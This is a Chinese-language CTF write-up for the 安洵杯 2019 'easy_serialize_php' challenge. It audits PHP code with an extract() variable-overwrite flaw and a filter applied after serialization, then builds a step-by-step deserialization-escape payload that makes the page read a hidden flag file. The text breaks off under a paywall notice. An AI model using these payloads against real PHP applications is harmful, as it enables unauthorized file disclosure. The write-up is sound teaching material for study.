1、[安洵杯 2019]easy_serialize_php 1
考点:PHP 反序列化逃逸 + 变量覆盖

【代码审计】
通过 GET 的方式获取参数 f 的值,传递给变量 function
定义一个过滤函数,过滤掉特定字符(用空字符替换)

下面的代码其实没什么用,应该是干扰,对做题没影响

![]()
extract () 函数从数组中将变量导入到当前的符号表。
该函数使用数组键名作为变量名,使用数组键值作为变量值。针对数组中的每个元素,将在当前符号表中创建对应的一个变量。该函数存在变量覆盖漏洞,我们只需要从新传递变量的值就可以将原来的覆盖掉。

这里就是我们刚进去的页面,当 $function 为空值的时候输出该跳转链接

通过 img_path 的值来为 $_SESSION['img'] 传递指定的值,加上 $_SESSION['img'] 在 extract () 后面,导致我们无法直接为其赋值
![]()
对 $_SESSION 进行序列化然后再进行敏感字符过滤,这会导致反序列化逃逸

代码通过判断参数 f 的值来输出指定文件,当 f=highlight_file 就输出 index.php 文件的内容到页面,其他的一样
根据代码的提示,我们构造 f=phpinfo ,然后寻找敏感信息,最终找到一个文件名,猜测 flag 应该在其中

值得注意的是

如果 f=show_image ,那么就会对前面序列化的字符串进行反序列化,然后再进过一次 base64 解码,高亮解码后的文件
【解题思路】
经过前面代码的分析,解题思路就有了。
序列化的时候是对下面三个变量同时序列化的
$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;
$_SESSION['img']=base64_encode('guest_img.png');
而前两个变量是可以通过变量覆盖漏洞进行修改的
$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;
由于该题对字符串过滤是先序列化再过滤再反序列化,存在反序列化逃逸,我们可以通过对前两个变量的构造从而实现对 img 的赋值
正常情况下来讲,该代码序列化的过程
<?php
$_SESSION["user"] = 'guest';
$_SESSION['function'] = 'show_image';
$_SESSION['img'] = 'guest_img.php';
echo serialize($_SESSION);
?>
a:3:{s:4:"user";s:5:"guest";s:8:"function";s:10:"show_image";s:3:"img";s:13:"guest_img.php";}
我们需要把 img 的值改成 d0g3_f1ag.php 经过 base64 编码后的字符串,因为在高亮函数数会经过一次解码所以传进去的必须提前编码好
d0g3_f1ag.php ----- base64 -----> ZDBnM19mMWFnLnBocA==
我们修改一下$_SESSION['function']、$_SESSION['img'] 的值【注意:这里只是为构造 payload 而测试的,并不是直接改题目中 $_SESSION['img'] 的值,那个是改不了的】
(变量值写 a 只是为了方便计算)
<?php
$_SESSION["user"] = 'guest';
$_SESSION['function'] = 'a';
$_SESSION['img'] = 'ZDBnM19mMWFnLnBocA==';
echo serialize($_SESSION);
?>
a:3:{s:4:"user";s:5:"guest";s:8:"function";s:1:"a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}

反序列化逃逸,如果经过过滤后,键值的字符减少了(但是原本长度是不会变的),他就会向后读取对应的字符数补到和原长度一样,我们截取这么一段
a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
<?php
$_SESSION["user"] = 'flagflagflagflagflagflag';
$_SESSION['function'] = 'a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}';
$_SESSION['img'] = 'ZDBnM19mMWFnLnBocA==';
echo serialize($_SESSION);
?>
序列化后
a:3:{s:4:"user";s:24:"flagflagflagflagflagflag";s:8:"function";s:42:"a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
经过过滤,flag 全部被过滤掉,先后取 24 为补足长度,所以 ";s:8:"function";s:42:"a 就变成了 user 的值,";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";} 在花括号外面,会被忽略掉
a:3:

最低0.47元/天 解锁文章
2117

被折叠的 条评论
为什么被折叠?



